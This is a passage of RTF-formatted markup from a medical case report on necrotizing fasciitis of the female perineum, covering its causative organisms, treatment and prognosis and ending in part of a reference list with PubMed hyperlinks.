\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid3346334\charrsid202925 \hich\af0\dbch\af31505\loch\f0 in major centers per y}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid15018474\charrsid202925 \hich\af0\dbch\af31505\loch\f0 ea}{\rtlch\fcs1 \af0\afs24 
\ltrch\fcs0 \f0\fs24\insrsid3346334\charrsid202925 \hich\af0\dbch\af31505\loch\f0 r.}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid15018474\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\super\insrsid15018474\charrsid202925 \hich\af0\dbch\af31505\loch\f0 10}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\super\insrsid3604802\charrsid202925 
\par }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid15739619\charrsid202925 \hich\af0\dbch\af31505\loch\f0    \tab \tab \tab The differential diagnosis is that of a vulvar ulcer. }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid13373826\charrsid202925 \hich\af0\dbch\af31505\loch\f0 This disease should be differentiated from furunculosis and gas gangrene. }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid15739619\charrsid202925 \hich\af0\dbch\af31505\loch\f0 
The causative }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid12011132\charrsid202925 \hich\af0\dbch\af31505\loch\f0 organism includes}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid15739619\charrsid202925 \hich\af0\dbch\af31505\loch\f0  group 
\hich\f0 \endash \loch\f0  A streptococcus (streptococcus pyogen}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid12011132\charrsid202925 \hich\af0\dbch\af31505\loch\f0 e}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid15739619\charrsid202925 
\hich\af0\dbch\af31505\loch\f0 s), staphylococcus aureus, Vibrio vulnificus, }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid12011132\charrsid202925 \hich\af0\dbch\af31505\loch\f0 Clostridium perfringens and B}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid15739619\charrsid202925 \hich\af0\dbch\af31505\loch\f0  fragiles. It can occur after trauma or around foreign bodies in surgical wounds or it can be idiopathi\hich\af0\dbch\af31505\loch\f0 
c and is most likely to occur in people with compromised immunity.    
\par }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid9901058\charrsid202925 \hich\af0\dbch\af31505\loch\f0 The important prognostic factor is timely }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid11284198\charrsid202925 
\hich\af0\dbch\af31505\loch\f0 diagnosis and}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid9901058\charrsid202925 \hich\af0\dbch\af31505\loch\f0  early surgical intervention}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\super\insrsid11284198\charrsid202925 \hich\af0\dbch\af31505\loch\f0 11}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid3604802\charrsid202925 .}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid15739619\charrsid202925 
\hich\af0\dbch\af31505\loch\f0 The treatment includes resuscitation, surgical debridement, broad spectrum antibiotics and continuous dressing. A Consultation with a hyperbaric specialist might also be required. 
\par }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid3604802\charrsid202925 \hich\af0\dbch\af31505\loch\f0 It is unclear why certain cases progress to underlying fascia while others }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid13373826\charrsid202925 \hich\af0\dbch\af31505\loch\f0 don\hich\f0 \rquote \loch\f0 t. When}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid3604802\charrsid202925 \hich\af0\dbch\af31505\loch\f0  both superficial and deep }{\rtlch\fcs1 
\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13373826\charrsid202925 \hich\af0\dbch\af31505\loch\f0 fascias are}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid3604802\charrsid202925 \hich\af0\dbch\af31505\loch\f0  involved}{\rtlch\fcs1 \af0\afs24 
\ltrch\fcs0 \f0\fs24\insrsid13373826\charrsid202925 ,}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid3604802\charrsid202925 \hich\af0\dbch\af31505\loch\f0  the overlying skin is affected due to impairment in cutaneous circulation and }{\rtlch\fcs1 
\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13373826\charrsid202925 \hich\af0\dbch\af31505\loch\f0 thrombosis. Gangrene}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid3604802\charrsid202925 \hich\af0\dbch\af31505\loch\f0  is apparent after 4-5 days from }
{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13373826\charrsid202925 \hich\af0\dbch\af31505\loch\f0 onset. Destruction}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid3604802\charrsid202925 \hich\af0\dbch\af31505\loch\f0 
 of nerves makes the skin hypoanesthetic}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\super\insrsid11284198\charrsid202925 \hich\af0\dbch\af31505\loch\f0 11}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\super\insrsid3604802\charrsid202925 
\par }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \b\f0\fs24\insrsid11284198\charrsid8064714 \hich\af0\dbch\af31505\loch\f0 Conc\hich\af0\dbch\af31505\loch\f0 lusion}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \b\f0\fs24\insrsid13373826\charrsid8064714 
\par }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13373826\charrsid202925 \hich\af0\dbch\af31505\loch\f0 Necrotizing}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid3604802\charrsid202925 \hich\af0\dbch\af31505\loch\f0 
 fasciitis is associated with a }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13373826\charrsid202925 \hich\af0\dbch\af31505\loch\f0 fulminate}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid3604802\charrsid202925 
\hich\af0\dbch\af31505\loch\f0  clinical course. Prognosis can be improved by urgent }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13373826\charrsid202925 \hich\af0\dbch\af31505\loch\f0 attention, wide}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid3604802\charrsid202925 \hich\af0\dbch\af31505\loch\f0  margin debridement of the }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13373826\charrsid202925 \hich\af0\dbch\af31505\loch\f0 perineum. Because}{\rtlch\fcs1 \af0\afs24 
\ltrch\fcs0 \f0\fs24\insrsid3604802\charrsid202925 \hich\af0\dbch\af31505\loch\f0  of the high mortality rate any perineal wound not responding to initial }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13373826\charrsid202925 
\hich\af0\dbch\af31505\loch\f0 debridement\hich\af0\dbch\af31505\loch\f0  and}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid3604802\charrsid202925 \hich\af0\dbch\af31505\loch\f0  antibiotic therapy should be explored until fasciitis is ruled }{
\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13373826\charrsid202925 \hich\af0\dbch\af31505\loch\f0 out. The}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid11279495\charrsid202925 \hich\af0\dbch\af31505\loch\f0 
 cases of necrotizing fasciitis of female perineum}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13373826\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid11279495\charrsid202925 
\hich\af0\dbch\af31505\loch\f0 is }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13373826\charrsid202925 \hich\af0\dbch\af31505\loch\f0 rare in}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid11279495\charrsid202925 
\hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13373826\charrsid202925 \hich\af0\dbch\af31505\loch\f0 India}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid11279495\charrsid202925 \hich\af0\dbch\af31505\loch\f0 
 a as well as world wide and this case report is an attempt to add to the relevant literature.}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid3604802 
\par }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8064714 \page 
\par }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8064714\charrsid202925 
\par }{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \b\f0\fs24\insrsid10443253\charrsid8064714 \hich\af0\dbch\af31505\loch\f0 References:}{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \b\f0\fs24\insrsid15739619\charrsid8064714 -}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\b\f0\fs24\insrsid15739619\charrsid8064714 
\par }{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10443253 \hich\af0\dbch\af31505\loch\f0 1.}{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10443253\charrsid10443253 \hich\af0\dbch\af31505\loch\f0  Abdulla}{\rtlch\fcs1 \ab\af0\afs24 
\ltrch\fcs0 \f0\fs24\insrsid15739619\charrsid10443253 \hich\af0\dbch\af31505\loch\f0  A. Mohammed et }{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid6628673\charrsid10443253 \hich\af0\dbch\af31505\loch\f0 al. necrotizing}{\rtlch\fcs1 
\ab\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid15739619\charrsid10443253 \hich\af0\dbch\af31505\loch\f0  fasciitis complicating female genital mutilation: }{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10443253 \hich\af0\dbch\af31505\loch\f0    }{
\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid15739619\charrsid10443253 \hich\af0\dbch\af31505\loch\f0 case report, }{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \cs22\f0\fs24\cf1\insrsid10443253\charrsid3044162 \hich\af0\dbch\af31505\loch\f0 
Eastern Mediterranean Health Journal}{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid15739619\charrsid10443253 \hich\af0\dbch\af31505\loch\f0  Vol }{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10443253\charrsid10443253 
\hich\af0\dbch\af31505\loch\f0 16}{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid6628673 ,}{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10443253\charrsid10443253 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid15739619\charrsid10443253 \hich\af0\dbch\af31505\loch\f0 No. 5, 2010, 578-9. }{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid16001563\charrsid10443253 
\par }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid6628673\charrsid202925 \hich\af0\dbch\af31505\loch\f0 2. Rakesh}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid7215000\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 
\ltrch\fcs0 \f0\fs24\insrsid6628673\charrsid202925 \hich\af0\dbch\af31505\loch\f0 Kumar}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid7215000\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid6628673\charrsid202925 \hich\af0\dbch\af31505\loch\f0 Singh}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid6628673 \hich\af0\dbch\af31505\loch\f0 , B}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid7215000\charrsid202925 
\hich\af0\dbch\af31505\loch\f0 handary }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid6628673 \hich\af0\dbch\af31505\loch\f0 S.}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid7215000\charrsid202925 \hich\af0\dbch\af31505\loch\f0  necrotizing }{
\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid6628673\charrsid202925 \hich\af0\dbch\af31505\loch\f0 fasciitis: current}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid7215000\charrsid202925 \hich\af0\dbch\af31505\loch\f0 
 status and review of literature.}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid6628673 \hich\af0\dbch\af31505\loch\f0  G}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid7215000\charrsid202925 \hich\af0\dbch\af31505\loch\f0 
ujarat journal of otorhinolaryngology and head and neck surgery}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid6628673\charrsid202925 \hich\af0\dbch\af31505\loch\f0 , vol.2}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid6628673 
\hich\af0\dbch\af31505\loch\f0 , no.2}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid6628673\charrsid202925 ,}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid6628673 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid6628673\charrsid202925 \hich\af0\dbch\af31505\loch\f0 nov}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid7215000\charrsid202925 \hich\af0\dbch\af31505\loch\f0  dec 2005}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid6628673\charrsid202925 \hich\af0\dbch\af31505\loch\f0 , 11}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid7215000\charrsid202925 \hich\af0\dbch\af31505\loch\f0 -15}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid13376337\charrsid202925 
\par }{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid3043836\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 3. Taviloglu K}{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13376337\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 
 et al. idiopathic }{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid3043836\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 NF:}{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13376337\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 
 risk factors and strategies for management. American surgeon, 2005, 71(4): 315 -20.}{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid15739619\charrsid4981463 
\par }\pard \ltrpar\ql \li0\ri0\sa200\sl480\slmult1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid8733802 \cbpat8 {\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid5181603\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 4
}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af31507 \ltrch\fcs0 \insrsid9636524 \hich\af31506\dbch\af31505\loch\f31506 HYPERLINK &quot;http://www.ncbi.nlm.nih.gov/pubmed?term=Khanna%20AK%5BAuthor%5D&amp;cauthor=true&amp;cauthor_uid=19443900&quot;}{\rtlch\fcs1 \af31507 
\ltrch\fcs0 \insrsid13110033 {\*\datafield 
00d0c9ea79f9bace118c8200aa004ba90b0200000003000000e0c9ea79f9bace118c8200aa004ba90bdc00000068007400740070003a002f002f007700770077002e006e006300620069002e006e006c006d002e006e00690068002e0067006f0076002f007000750062006d00650064003f007400650072006d003d004b00
680061006e006e00610025003200300041004b0025003500420041007500740068006f0072002500350044002600630061007500740068006f0072003d0074007200750065002600630061007500740068006f0072005f007500690064003d00310039003400340033003900300030000000795881f43b1d7f48af2c825dc4
85276300000000a5ab000000}}}{\fldrslt {\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4981463\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 .Khanna AK}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid16001563\sftnbj {
\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4981463\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 , }{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af31507 \ltrch\fcs0 \insrsid9636524 \hich\af31506\dbch\af31505\loch\f31506 
HYPERLINK &quot;http://www.ncbi.nlm.nih.gov/pubmed?term=Tiwary%20SK%5BAuthor%5D&amp;cauthor=true&amp;cauthor_uid=19443900&quot;}{\rtlch\fcs1 \af31507 \ltrch\fcs0 \insrsid13110033 {\*\datafield 
00d0c9ea79f9bace118c8200aa004ba90b0200000003000000e0c9ea79f9bace118c8200aa004ba90bdc00000068007400740070003a002f002f007700770077002e006e006300620069002e006e006c006d002e006e00690068002e0067006f0076002f007000750062006d00650064003f007400650072006d003d005400
6900770061007200790025003200300053004b0025003500420041007500740068006f0072002500350044002600630061007500740068006f0072003d0074007200750065002600630061007500740068006f0072005f007500690064003d00310039003400340033003900300030000000795881f43b1d7f48af2c825dc4
85276300000000a5ab000000}}}{\fldrslt {\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4981463\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 Tiwary SK}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid16001563\sftnbj {\rtlch\fcs1 
\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4981463\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 , }{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af31507 \ltrch\fcs0 \insrsid9636524 \hich\af31506\dbch\af31505\loch\f31506 
HYPERLINK &quot;http://www.ncbi.nlm.nih.gov/pubmed?term=Kumar%20P%5BAuthor%5D&amp;cauthor=true&amp;cauthor_uid=19443900&quot;}{\rtlch\fcs1 \af31507 \ltrch\fcs0 \insrsid13110033 {\*\datafield 
00d0c9ea79f9bace118c8200aa004ba90b0200000003000000e0c9ea79f9bace118c8200aa004ba90bd800000068007400740070003a002f002f007700770077002e006e006300620069002e006e006c006d002e006e00690068002e0067006f0076002f007000750062006d00650064003f007400650072006d003d004b00
75006d0061007200250032003000500025003500420041007500740068006f0072002500350044002600630061007500740068006f0072003d0074007200750065002600630061007500740068006f0072005f007500690064003d00310039003400340033003900300030000000795881f43b1d7f48af2c825dc485276300
000000a5ab000000}}}{\fldrslt {\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4981463\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 Kumar P}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid16001563\sftnbj {\rtlch\fcs1 
\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4981463\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 , }{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af31507 \ltrch\fcs0 \insrsid9636524 \hich\af31506\dbch\af31505\loch\f31506 
HYPERLINK &quot;http://www.ncbi.nlm.nih.gov/pubmed?term=Khanna%20R%5BAuthor%5D&amp;cauthor=true&amp;cauthor_uid=19443900&quot;}{\rtlch\fcs1 \af31507 \ltrch\fcs0 \insrsid13110033 {\*\datafield 
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\af0 \ltrch\fcs0 \b\lang2057\langfe1033\langnp2057\insrsid4981463\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 , }{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \cs22\lang2057\langfe1033\langnp2057\insrsid4981463\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 
Mark E O&#039;Donnell}{\rtlch\fcs1 \af0 \ltrch\fcs0 \b\lang2057\langfe1033\super\langnp2057\insrsid4981463\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 *}{\rtlch\fcs1 \af0 \ltrch\fcs0 \b\lang2057\langfe1033\langnp2057\insrsid4981463\charrsid4981463 
\hich\af0\dbch\af31505\loch\f0 , }{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \cs22\lang2057\langfe1033\langnp2057\insrsid4981463\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 Khalid Khan}{\rtlch\fcs1 \af0 \ltrch\fcs0 
\b\lang2057\langfe1033\langnp2057\insrsid4981463\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 , }{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \cs22\lang2057\langfe1033\langnp2057\insrsid4981463\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 Gillian Dunne}{
\rtlch\fcs1 \af0 \ltrch\fcs0 \b\lang2057\langfe1033\langnp2057\insrsid4981463\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 , }{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \cs22\lang2057\langfe1033\langnp2057\insrsid4981463\charrsid4981463 
\hich\af0\dbch\af31505\loch\f0 P Declan Carey}{\rtlch\fcs1 \af0 \ltrch\fcs0 \b\lang2057\langfe1033\langnp2057\insrsid4981463\charrsid4981463 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0 \ltrch\fcs0 
\lang2057\langfe1033\langnp2057\insrsid4981463\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 and }{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \cs22\lang2057\langfe1033\langnp2057\insrsid4981463\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 Jack }{\rtlch\fcs1 
\ab\af0 \ltrch\fcs0 \cs22\lang2057\langfe1033\langnp2057\insrsid4981463 \hich\af0\dbch\af31505\loch\f0   }{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \cs22\lang2057\langfe1033\langnp2057\insrsid4981463\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 Lee}{\rtlch\fcs1 
\ab\af0 \ltrch\fcs0 \cs22\b\lang2057\langfe1033\langnp2057\insrsid4981463\charrsid4981463 .}{\rtlch\fcs1 \af0 \ltrch\fcs0 \lang2057\langfe1033\langnp2057\insrsid13515315\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 
Successful treatment of perineal necrotising fasciitis and associated pubic bone}{\rtlch\fcs1 \af0 \ltrch\fcs0 \b\lang2057\langfe1033\langnp2057\insrsid13515315\charrsid4981463 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0 \ltrch\fcs0 
\lang2057\langfe1033\langnp2057\insrsid13515315\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 osteomyelitis with the vacuum assisted closure system}{\rtlch\fcs1 \af0 \ltrch\fcs0 \lang2057\langfe1033\langnp2057\insrsid4981463 .}{\rtlch\fcs1 \ai\af0 
\ltrch\fcs0 \cs24\lang2057\langfe1033\langnp2057\insrsid13515315\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 World}{\rtlch\fcs1 \ai\af0 \ltrch\fcs0 \cs24\i\lang2057\langfe1033\langnp2057\insrsid13515315\charrsid4981463 \hich\af0\dbch\af31505\loch\f0  }
{\rtlch\fcs1 \ai\af0 \ltrch\fcs0 \cs24\lang2057\langfe1033\langnp2057\insrsid13515315\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 Journal of Surgical Oncology}{\rtlch\fcs1 \af0 \ltrch\fcs0 
\lang2057\langfe1033\langnp2057\insrsid13515315\charrsid4981463 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0 \ltrch\fcs0 \lang2057\langfe1033\langnp2057\insrsid4981463 .}{\rtlch\fcs1 \af0 \ltrch\fcs0 
\lang2057\langfe1033\langnp2057\insrsid13515315\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 2008,}{\rtlch\fcs1 \ab\af0 \ltrch\fcs0 \cs22\lang2057\langfe1033\langnp2057\insrsid13515315\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 6}{\rtlch\fcs1 \af0 
\ltrch\fcs0 \lang2057\langfe1033\langnp2057\insrsid13515315\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 :67\~}{\rtlch\fcs1 \af0 \ltrch\fcs0 \cs25\lang2057\langfe1033\langnp2057\insrsid13515315\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 
doi:10.1186/1477-7819-6-67}{\rtlch\fcs1 \af0 \ltrch\fcs0 \lang2057\langfe1033\langnp2057\insrsid13515315\charrsid4981463 
\par }\pard\plain \ltrpar\ql \li0\ri0\sa200\sl480\slmult1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid8733802 \cbpat8 \rtlch\fcs1 \af31507\afs22\alang1025 \ltrch\fcs0 
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\f0\fs24\cf18\insrsid1123129\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4981463\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 J Sabu Philip, V P Fay. }{\field\fldedit{\*\fldinst {\rtlch\fcs1 
\af31507 \ltrch\fcs0 \insrsid9636524 \hich\af31506\dbch\af31505\loch\f31506 HYPERLINK &quot;http://ispub.com/IJANP/12/1/1423&quot;}{\rtlch\fcs1 \af31507 \ltrch\fcs0 \insrsid13110033 {\*\datafield 
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\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid16001563\sftnbj {\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4981463 .}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13336093\charrsid4981463 
\par }\pard \ltrpar\ql \li0\ri0\sb100\sa100\sbauto1\saauto1\sl480\slmult1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid8733802 \cbpat8 {\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4981463\charrsid4981463 
\hich\af0\dbch\af31505\loch\f0 The}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13336093\charrsid4981463 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4981463\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 
Internet Journal of Advanced Nursin\hich\af0\dbch\af31505\loch\f0 g Practice}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4981463 .}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4981463\charrsid4981463 \hich\af0\dbch\af31505\loch\f0  }{
\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid1123129\charrsid4981463 \hich\af0\dbch\af31505\loch\f0 2013}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4981463 ,}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid1123129\charrsid4981463 
\hich\af0\dbch\af31505\loch\f0  Volume 12 Number 1.}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13336093\charrsid4981463 
\par }\pard \ltrpar\ql \li0\ri0\sa200\sl480\slmult1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid8733802 {\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid5327492\charrsid202925 \hich\af0\dbch\af31505\loch\f0 7.}{
\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\cf19\lang2057\langfe1033\langnp2057\insrsid5327492\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid5327492\charrsid202925 \hich\af0\dbch\af31505\loch\f0 
